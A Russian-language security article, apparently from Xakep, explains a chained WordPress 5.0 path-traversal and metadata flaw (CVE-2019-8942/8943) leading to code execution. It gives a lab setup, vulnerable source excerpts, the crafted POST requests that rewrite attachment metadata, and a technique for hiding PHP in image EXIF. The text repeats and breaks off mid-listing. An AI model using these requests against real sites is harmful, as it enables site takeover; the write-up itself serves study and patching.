Открытка для WordPress. Захватываем контроль над сайтом, спрятав код в картинке
Сегодня я расскажу об уязвимости, дающей возможность исполнять произвольный код в самой популярной CMS в мире — WordPress. Причина бага — в недостаточной фильтрации метаданных загруженного файла, что дает возможность выйти из директории, используя некорректную логику при кадрировании картинок. Злоумышленник может загрузить произвольный PHP-код в теле изображения и поместить его в папку, откуда будет возможен вызов.
Используемые уязвимости
Мы же детально пройдемся по всем этапам эксплуатации и разберемся в проблеме. Поехали!
Стенд
Для демонстрации уязвимости я, как всегда, воспользуюсь докер-контейнерами для поднятия тестового окружения.
Сначала база данных. Я возьму привычный MySQL.
Теперь дело за контейнером с WordPress.
Не забывай слинковать его с контейнером базы данных. Далее устанавливаем требуемые пакеты, среди них, разумеется, веб-сервер Apache и PHP.
Обрати внимание на пакет php-imagick. Уязвимость связана с обработкой картинок, для чего частенько используется расширение GD, но сегодня особый случай и нам нужен ImageMagick. Подробнее об этом я расскажу, говоря об эксплуатации.
Теперь качаем WordPress версии 5.0, это последняя версия с багом, который мы готовимся изучить.
Распаковываем архив в веб-рут.
Если хочешь дебажить приложение вместе со мной, то настраивай удаленную отладку в Xdebug. Я буду использовать в качестве дебаггера PHPStorm.
Наконец-то запускаем сам сервер и инсталлируем WordPress.
Установка WordPress 5.0
После этого не забудь отключить автообновление CMS на всякий случай.
Манипулируем метаданными, или CVE-2019-8942
Проэксплуатировать уязвимость можно только от имени пользователей, которым разрешена загрузка медиафайлов. Роль author вполне подойдет для этих целей, поэтому создадим нового пользователя с такими правами.
Теперь немного о загрузках медиафайлов. Помимо того что файл физически помещается в директорию wp-content/uploads, в процессе загрузки его метаданные заносятся в таблицу wp_postmeta. Для CMS нет особой разницы между записями, страницами и файлами, для системы все это объекты типа WP_Post, и различаются они метаданными, атрибутом post_type и прочим.
/wp-includes/class-wp-post.php
/wp-includes/post.php
Загрузим рандомную картинку и заглянем в базу данных.
Метаданные загруженного файла в таблице wp_postmeta
Ключ _wp_attachment_metadata содержит сериализованный объект, где располагается вся информация о загруженной картинке, которая может понадобиться WordPress. Главная проблема в том, что злоумышленник может перезаписать любые метаданные произвольными.
Как мы выяснили, загруженный файл в WordPress является экземпляром Post. Поэтому за добавление и обновление данных о нем отвечает один и тот же метод — wp_insert_post. Только в первом случае он почти сразу вызывается из функции wp_insert_attachment.
/wp-includes/post.php
/wp-includes/post.php
Во втором случае — цепочкой edit_post => wp_update_post => wp_insert_attachment.
/wp-admin/includes/post.php
/wp-includes/post.php
Отладка функции редактирования данных загруженного файла
Как видишь, данные берутся прямо из запроса через доступ к ключам массива $_POST. В итоге все это добро попадает в эту часть кода:
/wp-includes/post.php
Таким образом, если передать через POST-запрос в параметре meta_input массив вида метаключ => значение, то можно добавлять и обновлять метаданные текущего поста.
Массив из параметра meta_input обрабатывается функцией update_post_meta
Другими словами, можно менять значения meta_key и meta_value в таблице wp_postmeta.
Обновленные метаданные в таблице wp_postmeta
В этом нам помогает функция update_post_meta. Не так давно в статье «Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл» я уже писал про возможность указать произвольные метаданные. Там этот трюк использовался для эксплуатации уязвимости удаления файлов. Если ты ее не читал, то советую ознакомиться.
Какие же интересные ключи мы можем перезаписать в наших аттачах?
Причины возникновения ошибки path traversal (CVE-2019-8943)
Чтобы узнать ответ на этот вопрос, нужно посмотреть на функциональность работы с картинками, которую предоставляет WordPress. Здесь, помимо прочего, имеется возможность кадрировать картинку (crop).
Режим кадрирования в WordPress
Процесс кропа начинается с функции wp_ajax_crop_image.
/wp-admin/includes/ajax-actions.php
В POST-запросе передается id картинки, с которым функция будет работать, а в параметре cropDetails — информация о деталях кадрирования. С этими данными происходит вызов wp_crop_image.
/wp-admin/includes/image.php
Здесь объявляется переменная $src_file, в которой находится путь до обрабатываемой картинки. Его возвращает функция get_attached_file.
/wp-admin/includes/post.php
Обрати внимание на строку 386. Путь берется из метаданных, а именно из ключа _wp_attached_file. А метаданные мы можем спокойно контролировать. Затем к этой строке подставляется путь до директории с пользовательскими файлами, по дефолту это wp-content/uploads.
Вернемся в wp_crop_image. После получения пути WordPress должен убедиться, что изображение действительно существует.
/wp-admin/includes/image.php
Здесь есть два варианта. Первый: если путь до файла, который указан в _wp_attached_file, существует, то он и будет использован в дальнейшем. Второй вариант: путь не существует, тогда функция _load_image_to_edit_path попытается загрузить изображение со своего собственного сервера. Для этого будет сгенерирован URL для загрузки, состоящий из адреса сервера, каталога wp-content/uploads и данных из метазаписи _wp_attached_file.
Например, ты загрузил картинку с именем Mia.jpg. Тогда в _wp_attached_file будет что-то вроде 2019/02/Mia.jpg, в зависимости от настроек. При обработке CMS сначала проверит путь /var/www/html/wp-content/uploads/2019/02/Mia.jpg и, если его там нет, попытается загрузить файл по URL
После загрузки изображения вызывается функция wp_get_image_editor.
/wp-admin/includes/image.php
Она определяет, какая библиотека для работы с изображением будет использоваться.
/wp-includes/media.php
Тут всего два варианта: ImageMagick и GD, причем первая в приоритете.
/wp-includes/media.php
Последовательно из классов WP_Image_Editor_Imagick и WP_Image_Editor_GDвызывается метод test, который и проверяет наличие своей библиотеки в системе.
/wp-includes/class-wp-image-editor-imagick.php
/wp-includes/class-wp-image-editor-gd.php
После того как переменная $editor становится экземпляром нужного класса, вызывается метод crop.
/wp-admin/includes/image.php
/wp-includes/class-wp-image-editor-imagick.php
Теперь, когда картинка обработана, нужно ее сохранить. За это отвечает следующий кусок кода:
/wp-admin/includes/image.php
В переменную $dst_file записывается путь, по которому будет сохраняться результирующая картинка. К имени файла добавляется префикс cropped-, а путь берется из переменной $src_file, то есть путь, которым мы можем манипулировать. Если путь не существует, то функция wp_mkdir_p любезно создаст его для нас и назначит необходимые права.
/wp-includes/functions.php
Дальше метод save выполняет предварительные проверки и передает управление make_image, который уже сохраняет файл по указанному пути.
/wp-includes/class-wp-image-editor-imagick.php
/wp-includes/class-wp-image-editor.php
Итак, если ты загружал Mia.jpg, то после выполнения кадрирования получишь файл /var/www/html/wp-content/uploads/2019/02/cropped-Mia.jpg.
Сохраненная кадрированная картинка
Эта логика слепо доверяет метаключу _wp_attached_file, используя его значение, когда создается путь сохранения файлов. Здесь-то и кроется проблема. Зная причину и уязвимое место, переходим к практической эксплуатации.
Решаем проблемы и эксплуатируем уязвимость path traversal
Итак, легитимное значение _wp_attached_file в случае загрузки картинки Mia.jpg имеет вид 2019/02/Mia.jpg. Но ведь ты можешь произвольно его менять. И добавить, например, в начало конструкцию ../. Для этого перехватим POST-запрос на редактирование записи и добавим к нему параметр meta_input[_wp_attached_file] со значением ../Mia.jpg.
Меняем метаданные загруженной картинки
Теперь выполняем запрос на кроп картинки. Сначала нужно получить валидный токен _ajax_nonce, для этого достаточно перейти в режим редактирования картинки и поймать запрос с экшеном image-editor.
Получение валидного токена _ajax_nonce
Попытка эксплуатации уязвимости path traversal в WordPress 5.0
Таким образом мы пытаемся выйти из директории wp-content/uploads/ и записать кадрированный файл на уровень выше — в wp-content. Но эта попытка не увенчается успехом из-за того, что оригинальная картинка располагается по другому пути. И попытки обмануть file_exist не приведут к желаемым результатам, так как эта функция PHP не очень дружелюбна к атакующему и не позволяет манипулировать путями.
Манипуляция с путями в функции file_exist
Однако нас выручает второй вариант — загрузка файла по URL. Тут уже есть где разгуляться. Чтобы загрузилась настоящая картинка, указываем реальный путь до нее. В параметрах передаем набор конструкций ../, чтобы попасть в нужную директорию.
Сервер попытается перейти по полученному URL:
Все, что идет после знака вопроса, не будет иметь значения, и картинка успешно загрузится и будет доступна для последующих манипуляций.
Картинка для выполнения кадрирования загружена по URL
Дальше мы сталкиваемся с еще одной «проблемой». Так как папки cropped-Mia.jpg? не существует, функция writeImage из ImageMagick вернет соответствующую ошибку.
Ошибка при сохранении кадрированной картинки. Директория не существует
Проблема решается очень просто — нужно сначала создать эту директорию, манипулируя все той же функцией кропа. Фишка в том, чтобы использовать разные имена для директории и файла, который мы хотим создать. Ведь при формировании пути, по которому будет располагаться кадрированное изображение, ищутся все вхождения имени файла с добавлением префикса cropped-.
/wp-admin/includes/image.php
Результат работы функции basename
Поэтому обновляем метаключ _wp_attached_file у загруженного файла. Устанавливаем его значение в wp-content/uploads/2019/02/Mia.jpg?/anything.
Теперь выполняем операцию кропа, и директория Mia.jpg? будет создана.
Создание необходимой директории при помощи манипуляции с _wp_attached_file и функциональностью кадрирования
Обрати внимание, что ImageMagick автоматически подставляет расширение, определяя тип исходного файла.
/wp-includes/class-wp-image-editor-imagick.php
Такое поведение не позволит нам просто загрузить шелл на PHP. Печально, но не критично.
Дальше снова обновляем _wp_attached_file. В этот раз смело указываем созданную папку, в которую хотим сохранить обработанный файл.
Теперь весь набор для успешной эксплуатации path traversal у нас в руках. Есть файл Mia.jpg, и выполнение скрипта не прервется на попытке загрузки изображения по URL http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg?/../../../../owned.jpg. Создана папка Mia.jpg?, так что функция writeImage из ImageMagick не вернет ошибку. Осталось лишь отправить запрос на кадрирование.
В процессе эксплуатации уязвимости path traversal в WordPress 5.0
После выполнения запроса можем наблюдать созданный файл owned.jpg в директории wp-content.
Успешная эксплуатация уязвимости path traversal в WordPress 5.0
Кстати, на серверах с Windows такой трюк не прокатит, так как символ знака вопроса (?) зарезервирован системой для поиска, инструкций командной строки и прочего. Но формат URL гибок, и ты можешь спокойно заменить везде знак вопроса на решетку без потерь.
Особенности имен папок в Windows
Эксплуатируем выполнение произвольного кода. Инклуд шаблонов
Файл мы создали, но, во-первых, это картинка, во-вторых… это просто картинка! Естественно, я могу записать в один из тегов EXIF произвольный код на PHP, но как его вызвать?
В этом нам снова поможет возможность манипулирования метаданными записей. WordPress, как и все современные CMS, поддерживает темы оформления. Доступные для использования темы хранятся в каталоге wp-content/themes. Они могут содержать файлы-шаблоны для разных типов записей в CMS. Например, если посетитель хочет просмотреть страницу (WP_Page), то WordPress попробует найти файл page.php в каталоге текущей активной темы. Если такой файл найден, то он подгружается с помощью функции include().
/wp-includes/template-loader.php
/wp-includes/template.php
/wp-includes/template-loader.php
Помимо этого, имеется возможность выбрать кастомный шаблон для определенных записей. Чтобы его использовать, пост должен иметь метаключ _wp_page_template. В нем будет указано имя файла, который отвечает за шаблон. Единственное ограничение здесь в том, что файл должен находиться в каталоге текущей активной темы. Но это легко обойти, если использовать уже известную цепочку уязвимостей.
Итак, сначала нужно внедрить код на PHP в изображение, которое я буду загружать на сервер. Для этого существует огромное количество способов. Я просто добавлю строку <?php phpinfo();/* в проводнике Windows в свойствах картинки.
Добавляем код в EXIF картинки
Теперь загружаем этот файл на сервер, а затем эксплуатируем уязвимость и сохраняем кадрированный файл в директорию с текущей темой. По дефолту используется Twenty Nineteen, поэтому запрос на изменение метаданных будет выглядеть таким образом.
Сохраняем картинку с кодом в директорию текущей активной темы
Вот тут нужно сказать несколько слов об используемой на сервере библиотеке. ImageMagick по дефолту не вырезает EXIF при манипуляции с изображениями, даже при кадрировании. Именно поэтому я ее и выбрал.
ImageMagick сохраняет добавленный в EXIF PHP-код даже после кадрирования
А вот GD сносит всю лишнюю, по его мнению, информацию, и файл получается девственно чистым. Так что это интересный челлендж — сгенерировать такой файл, который после всех манипуляций будет содержать нужный нам текст. Но если захочешь заморочиться, то наверняка что-нибудь придумаешь.
Итак, файл cropped-owned.jpg создан и находится в директории с текущей активной темой, а также содержит наш код. Теперь нужно подключить этот файл в качестве кастомного шаблона для отображения записи. Для этого начнем создание новой записи в блоге. Содержание может быть произвольным, главное — перехватить пакет на сохранение. Добавляем к нему параметр meta_input и указываем в качестве метаключа _wp_page_template значение cropped-owned.jpg.
Указываем файл с кодом в качестве шаблона для поста при помощи манипуляции с метаданными
Это нужно сделать именно при создании поста, потому что потом нельзя будет отредактировать метаключ.
Теперь при переходе на страницу с этой записью инклудится наша картинка с кодом на PHP, и мы видим результат вывода phpinfo().
Успешная эксплуатация RCE в WordPress 5.0
Ура! Мы получили RCE.
Я набросал скриптик на JS, который автоматизирует эксплуатацию уязвимости. Найти его можно на моем GitHub. Запускается из любого места на сайте, главное — быть авторизованным и иметь нужные права. В переменной cmd можно указать код на PHP, который будет выполнен.
Демонстрация уязвимости (видео)
Выводы
Сегодня мы превратили безобидное изменение метаданных в грозное оружие, которое приводит к самым печальным последствиям для системы — выполнению исходного кода. Даже такие крупные CMS, как WordPress, не застрахованы от критических ошибок, стоит лишь посмотреть на логику работы приложения под нужным углом.
Так что скорее обновляйся на самую свежую версию WordPress. Используй встроенную возможность апгрейда на актуальный релиз через панель управления. На данный момент последняя версия — WordPress 5.1. Там эта уязвимость исправлена. Разработчики добавили проверку и фильтрацию опасных метаданных при создании и обновлении записей.
Коммит с патчем уязвимости
Возможно, этот решение лишь прикрывает возможность эксплуатирования описанной уязвимости, а не полностью запрещает его. И может быть, именно ты найдешь новый байпас!
автор: aLLy aka iamsecurity
хакер.ру
Сегодня я расскажу об уязвимости, дающей возможность исполнять произвольный код в самой популярной CMS в мире — WordPress. Причина бага — в недостаточной фильтрации метаданных загруженного файла, что дает возможность выйти из директории, используя некорректную логику при кадрировании картинок. Злоумышленник может загрузить произвольный PHP-код в теле изображения и поместить его в папку, откуда будет возможен вызов.
Используемые уязвимости
- CVE-2019-8942 — уязвимость заключается в возможности свободного манипулирования метаданными записей блога, а именно ключом _wp_attached_file, который отвечает за путь загруженного аттача.
- CVE-2019-8943 — из-за некорректной логики функции wp_crop_image атакующий, используя конструкцию вида /valid/image/path.jpg?/../../path/traversal, может выйти из директории, предназначенной для хранения пользовательских файлов, и записать файл в произвольный путь.
Мы же детально пройдемся по всем этапам эксплуатации и разберемся в проблеме. Поехали!
Стенд
Для демонстрации уязвимости я, как всегда, воспользуюсь докер-контейнерами для поднятия тестового окружения.
Сначала база данных. Я возьму привычный MySQL.
Код:
$ docker run -d --rm -e MYSQL_USER="wprce" -e MYSQL_PASSWORD="QJmfdGjW47" -e MYSQL_DATABASE="wprce" --name=wpmysql --hostname=mysql mysql/mysql-server
Код:
$ docker run -it --rm -p80:80 --name=wprce --hostname=wprce --link=wpmysql debian /bin/bash
Код:
$ apt-get update && apt-get install -y apache2 php php7.0-mysqli php-imagick php-xdebug nano wget build-essential checkinstall
Теперь качаем WordPress версии 5.0, это последняя версия с багом, который мы готовимся изучить.
Код:
$ cd /tmp && wget https://wordpress.org/wordpress-5.0.tar.gz
Код:
$ tar xzf wordpress-5.0.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/apache2/conf.d/20-xdebug.ini
Код:
$ service apache2 start
Установка WordPress 5.0
После этого не забудь отключить автообновление CMS на всякий случай.
Код:
$ echo "define( 'WP_AUTO_UPDATE_CORE', false );" >> /var/www/html/wp-config.php
Манипулируем метаданными, или CVE-2019-8942
Проэксплуатировать уязвимость можно только от имени пользователей, которым разрешена загрузка медиафайлов. Роль author вполне подойдет для этих целей, поэтому создадим нового пользователя с такими правами.
Теперь немного о загрузках медиафайлов. Помимо того что файл физически помещается в директорию wp-content/uploads, в процессе загрузки его метаданные заносятся в таблицу wp_postmeta. Для CMS нет особой разницы между записями, страницами и файлами, для системы все это объекты типа WP_Post, и различаются они метаданными, атрибутом post_type и прочим.
/wp-includes/class-wp-post.php
PHP:
022: final class WP_Post {
...
186: /**
187: * The post’s type, like post or page.
...
192: public $post_type = 'post';
PHP:
20: function create_initial_post_types() {
21: register_post_type( 'post', array(
...
41: register_post_type( 'page', array(
42: 'labels' => array(
...
62: register_post_type( 'attachment', array(
63: 'labels' => array(
Метаданные загруженного файла в таблице wp_postmeta
Ключ _wp_attachment_metadata содержит сериализованный объект, где располагается вся информация о загруженной картинке, которая может понадобиться WordPress. Главная проблема в том, что злоумышленник может перезаписать любые метаданные произвольными.
Как мы выяснили, загруженный файл в WordPress является экземпляром Post. Поэтому за добавление и обновление данных о нем отвечает один и тот же метод — wp_insert_post. Только в первом случае он почти сразу вызывается из функции wp_insert_attachment.
/wp-includes/post.php
PHP:
5068: function wp_insert_attachment( $args, $file = false, $parent = 0, $wp_error = false ) {
5069: $defaults = array(
5070: 'file' => $file,
5071: 'post_parent' => 0
5072: );
5073:
5074: $data = wp_parse_args( $args, $defaults );
5075:
5076: if ( ! empty( $parent ) ) {
5077: $data['post_parent'] = $parent;
5078: }
5079:
5080: $data['post_type'] = 'attachment';
5081:
5082: return wp_insert_post( $data, $wp_error );
5083: }
PHP:
3143: /**
3144: * Insert or update a post.
3145: *
...
3203: function wp_insert_post( $postarr, $wp_error = false ) {
3204: global $wpdb;
3205:
3206: $user_id = get_current_user_id();
/wp-admin/includes/post.php
PHP:
187: function edit_post( $post_data = null ) {
188: global $wpdb;
189:
190: if ( empty($post_data) )
191: $post_data = &$_POST;
...
377: $success = wp_update_post( $post_data );
PHP:
3776: function wp_update_post( $postarr = array(), $wp_error = false ) {
3777: if ( is_object($postarr) ) {
...
3817: if ($postarr['post_type'] == 'attachment')
3818: return wp_insert_attachment($postarr);
3819:
3820: return wp_insert_post( $postarr, $wp_error );
3821: }
Отладка функции редактирования данных загруженного файла
Как видишь, данные берутся прямо из запроса через доступ к ключам массива $_POST. В итоге все это добро попадает в эту часть кода:
/wp-includes/post.php
PHP:
3203: function wp_insert_post( $postarr, $wp_error = false ) {
...
3600: if ( ! empty( $postarr['meta_input'] ) ) {
3601: foreach ( $postarr['meta_input'] as $field => $value ) {
3602: update_post_meta( $post_ID, $field, $value );
3603: }
3604: }
Массив из параметра meta_input обрабатывается функцией update_post_meta
Другими словами, можно менять значения meta_key и meta_value в таблице wp_postmeta.
Обновленные метаданные в таблице wp_postmeta
В этом нам помогает функция update_post_meta. Не так давно в статье «Удаленное удаление. Как захватить контроль над WordPress, заставив его стереть файл» я уже писал про возможность указать произвольные метаданные. Там этот трюк использовался для эксплуатации уязвимости удаления файлов. Если ты ее не читал, то советую ознакомиться.
Какие же интересные ключи мы можем перезаписать в наших аттачах?
Причины возникновения ошибки path traversal (CVE-2019-8943)
Чтобы узнать ответ на этот вопрос, нужно посмотреть на функциональность работы с картинками, которую предоставляет WordPress. Здесь, помимо прочего, имеется возможность кадрировать картинку (crop).
Режим кадрирования в WordPress
Процесс кропа начинается с функции wp_ajax_crop_image.
/wp-admin/includes/ajax-actions.php
PHP:
3217: /**
3218: * Ajax handler for cropping an image.
...
3222: function wp_ajax_crop_image() {
3223: $attachment_id = absint( $_POST['id'] );
...
3231: $data = array_map( 'absint', $_POST['cropDetails'] );
3232: $cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );
/wp-admin/includes/image.php
PHP:
25: function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
26: $src_file = $src;
27: if ( is_numeric( $src ) ) { // Handle int as attachment ID
28: $src_file = get_attached_file( $src );
/wp-admin/includes/post.php
PHP:
367: /**
368: * Retrieve attached file path based on attachment ID.
...
385: function get_attached_file( $attachment_id, $unfiltered = false ) {
386: $file = get_post_meta( $attachment_id, '_wp_attached_file', true );
387:
388: // If the file is relative, prepend upload dir.
389: if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
390: $file = $uploads['basedir'] . "/$file";
391: }
392:
393: if ( $unfiltered ) {
394: return $file;
395: }
...
405: return apply_filters( 'get_attached_file', $file, $attachment_id );
406: }
Вернемся в wp_crop_image. После получения пути WordPress должен убедиться, что изображение действительно существует.
/wp-admin/includes/image.php
PHP:
30: if ( ! file_exists( $src_file ) ) {
31: // If the file doesn’t exist, attempt a URL fopen on the src link.
32: // This can occur with certain file replication plugins.
33: $src = _load_image_to_edit_path( $src, 'full' );
34: } else {
35: $src = $src_file;
36: }
Например, ты загрузил картинку с именем Mia.jpg. Тогда в _wp_attached_file будет что-то вроде 2019/02/Mia.jpg, в зависимости от настроек. При обработке CMS сначала проверит путь /var/www/html/wp-content/uploads/2019/02/Mia.jpg и, если его там нет, попытается загрузить файл по URL
http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg. Такое поведение бывает нужно в случаях, когда какой-то плагин генерирует изображение на лету при доступе к определенному URL. При этом никакой фильтрации WordPress не выполняет.После загрузки изображения вызывается функция wp_get_image_editor.
/wp-admin/includes/image.php
PHP:
39: $editor = wp_get_image_editor( $src );
40: if ( is_wp_error( $editor ) )
41: return $editor;
/wp-includes/media.php
PHP:
2900: function wp_get_image_editor( $path, $args = array() ) {
2901: $args['path'] = $path;
...
2903: if ( ! isset( $args['mime_type'] ) ) {
2904: $file_info = wp_check_filetype( $args['path'] );
...
2912: $implementation = _wp_image_editor_choose( $args );
/wp-includes/media.php
PHP:
2950: function _wp_image_editor_choose( $args = array() ) {
2951: require_once ABSPATH . WPINC . '/class-wp-image-editor.php';
2952: require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php';
2953: require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php';
...
2962: $implementations = apply_filters( 'wp_image_editors', array( 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD' ) );
2963:
2964: foreach ( $implementations as $implementation ) {
2965: if ( ! call_user_func( array( $implementation, 'test' ), $args ) )
2966: continue;
/wp-includes/class-wp-image-editor-imagick.php
PHP:
16: class WP_Image_Editor_Imagick extends WP_Image_Editor {
...
45: public static function test( $args = array() ) {
46:
47: // First, test Imagick’s extension and classes.
48: if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick', false ) || ! class_exists( 'ImagickPixel', false ) )
49: return false;
50:
51: if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) )
52: return false;
PHP:
16: class WP_Image_Editor_GD extends WP_Image_Editor {
...
41: public static function test( $args = array() ) {
42: if ( ! extension_loaded('gd') || ! function_exists('gd_info') )
43: return false;
/wp-admin/includes/image.php
PHP:
43: $src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
44: if ( is_wp_error( $src ) )
45: return $src;
PHP:
492: public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) {
493: if ( $src_abs ) {
494: $src_w -= $src_x;
495: $src_h -= $src_y;
496: }
...
498: try {
499: $this->image->cropImage( $src_w, $src_h, $src_x, $src_y );
/wp-admin/includes/image.php
PHP:
47: if ( ! $dst_file )
48: $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
...
54: wp_mkdir_p( dirname( $dst_file ) );
55:
56: $dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
57:
58: $result = $editor->save( $dst_file );
/wp-includes/functions.php
PHP:
1597: function wp_mkdir_p( $target ) {
1598: $wrapper = null;
...
1621: if ( file_exists( $target ) )
1622: return @is_dir( $target );
...
1630: // Get the permission bits.
1631: if ( $stat = @stat( $target_parent ) ) {
1632: $dir_perms = $stat['mode'] & 0007777;
1633: } else {
1634: $dir_perms = 0777;
1635: }
1636:
1637: if ( @mkdir( $target, $dir_perms, true ) ) {
/wp-includes/class-wp-image-editor-imagick.php
PHP:
590: public function save( $destfilename = null, $mime_type = null ) {
591: $saved = $this->_save( $this->image, $destfilename, $mime_type );
...
615: protected function _save( $image, $filename = null, $mime_type = null ) {
...
621: try {
...
626: $this->make_image( $filename, array( $image, 'writeImage' ), array( $filename ) );
PHP:
014: abstract class WP_Image_Editor {
...
394: protected function make_image( $filename, $function, $arguments ) {
395: if ( $stream = wp_is_stream( $filename ) ) {
...
404: if ( $result && $stream ) {
405: $contents = ob_get_contents();
406:
407: $fp = fopen( $filename, 'w' );
408:
409: if ( ! $fp ) {
410: ob_end_clean();
411: return false;
412: }
413:
414: fwrite( $fp, $contents );
415: fclose( $fp );
416: }
Сохраненная кадрированная картинка
Эта логика слепо доверяет метаключу _wp_attached_file, используя его значение, когда создается путь сохранения файлов. Здесь-то и кроется проблема. Зная причину и уязвимое место, переходим к практической эксплуатации.
Решаем проблемы и эксплуатируем уязвимость path traversal
Итак, легитимное значение _wp_attached_file в случае загрузки картинки Mia.jpg имеет вид 2019/02/Mia.jpg. Но ведь ты можешь произвольно его менять. И добавить, например, в начало конструкцию ../. Для этого перехватим POST-запрос на редактирование записи и добавим к нему параметр meta_input[_wp_attached_file] со значением ../Mia.jpg.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 801
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>
_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=../Mia.jpg
Меняем метаданные загруженной картинки
Теперь выполняем запрос на кроп картинки. Сначала нужно получить валидный токен _ajax_nonce, для этого достаточно перейти в режим редактирования картинки и поймать запрос с экшеном image-editor.
Получение валидного токена _ajax_nonce
Код:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wprce.vh
Content-Length: 93
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <валидные_куки>
action=crop-image&_ajax_nonce=<валидный_токен>&id=10&cropDetails[width]=200&cropDetails[height]=200
Попытка эксплуатации уязвимости path traversal в WordPress 5.0
Таким образом мы пытаемся выйти из директории wp-content/uploads/ и записать кадрированный файл на уровень выше — в wp-content. Но эта попытка не увенчается успехом из-за того, что оригинальная картинка располагается по другому пути. И попытки обмануть file_exist не приведут к желаемым результатам, так как эта функция PHP не очень дружелюбна к атакующему и не позволяет манипулировать путями.
Манипуляция с путями в функции file_exist
Однако нас выручает второй вариант — загрузка файла по URL. Тут уже есть где разгуляться. Чтобы загрузилась настоящая картинка, указываем реальный путь до нее. В параметрах передаем набор конструкций ../, чтобы попасть в нужную директорию.
Код:
2019/02/Mia.jpg?/../../../../Mia.jpg
Код:
http://wprce.vh/wp-content/uploads/2019/02/Mia.jpg?/../../../../Mia.jpg
Картинка для выполнения кадрирования загружена по URL
Дальше мы сталкиваемся с еще одной «проблемой». Так как папки cropped-Mia.jpg? не существует, функция writeImage из ImageMagick вернет соответствующую ошибку.
Ошибка при сохранении кадрированной картинки. Директория не существует
Проблема решается очень просто — нужно сначала создать эту директорию, манипулируя все той же функцией кропа. Фишка в том, чтобы использовать разные имена для директории и файла, который мы хотим создать. Ведь при формировании пути, по которому будет располагаться кадрированное изображение, ищутся все вхождения имени файла с добавлением префикса cropped-.
/wp-admin/includes/image.php
PHP:
47: if ( ! $dst_file )
48: $dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
Результат работы функции basename
Поэтому обновляем метаключ _wp_attached_file у загруженного файла. Устанавливаем его значение в wp-content/uploads/2019/02/Mia.jpg?/anything.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>
_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/anything
Создание необходимой директории при помощи манипуляции с _wp_attached_file и функциональностью кадрирования
Обрати внимание, что ImageMagick автоматически подставляет расширение, определяя тип исходного файла.
/wp-includes/class-wp-image-editor-imagick.php
PHP:
615: protected function _save( $image, $filename = null, $mime_type = null ) {
616: list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type );
617:
618: if ( ! $filename )
619: $filename = $this->generate_filename( null, null, $extension );
...
625: $this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) );
Дальше снова обновляем _wp_attached_file. В этот раз смело указываем созданную папку, в которую хотим сохранить обработанный файл.
Код:
POST /wp-admin/post.php HTTP/1.1
Host: wprce.vh
Content-Length: 801
Content-Type: application/x-www-form-urlencoded
Cookie: <валидные_куки>
_wpnonce=<валидный_токен>&action=editpost&post_ID=10&meta_input[_wp_attached_file]=2019/02/Mia.jpg?/../../../../owned
В процессе эксплуатации уязвимости path traversal в WordPress 5.0
После выполнения запроса можем наблюдать созданный файл owned.jpg в директории wp-content.
Успешная эксплуатация уязвимости path traversal в WordPress 5.0
Кстати, на серверах с Windows такой трюк не прокатит, так как символ знака вопроса (?) зарезервирован системой для поиска, инструкций командной строки и прочего. Но формат URL гибок, и ты можешь спокойно заменить везде знак вопроса на решетку без потерь.
Особенности имен папок в Windows
Эксплуатируем выполнение произвольного кода. Инклуд шаблонов
Файл мы создали, но, во-первых, это картинка, во-вторых… это просто картинка! Естественно, я могу записать в один из тегов EXIF произвольный код на PHP, но как его вызвать?
В этом нам снова поможет возможность манипулирования метаданными записей. WordPress, как и все современные CMS, поддерживает темы оформления. Доступные для использования темы хранятся в каталоге wp-content/themes. Они могут содержать файлы-шаблоны для разных типов записей в CMS. Например, если посетитель хочет просмотреть страницу (WP_Page), то WordPress попробует найти файл page.php в каталоге текущей активной темы. Если такой файл найден, то он подгружается с помощью функции include().
/wp-includes/template-loader.php
PHP:
44: if ( defined('WP_USE_THEMES') && WP_USE_THEMES ) :
45: $template = false;
...
53: elseif ( is_attachment() && $template = get_attachment_template() ) :
54: remove_filter('the_content', 'prepend_attachment');
55: elseif ( is_single() && $template = get_single_template() ) :
56: elseif ( is_page() && $template = get_page_template() ) :
...
63: else :
64: $template = get_index_template();
PHP:
377: /**
378: * Retrieve path of page template in current or parent template.
379: *
380: * The hierarchy for this template looks like:
381: *
382: * 1. {Page Template}.php
383: * 2. page-{page_name}.php
384: * 3. page-{id}.php
385: * 4. page.php
386: *
...
405: function get_page_template() {
...
407: $template = get_page_template_slug();
...
417: $templates = array();
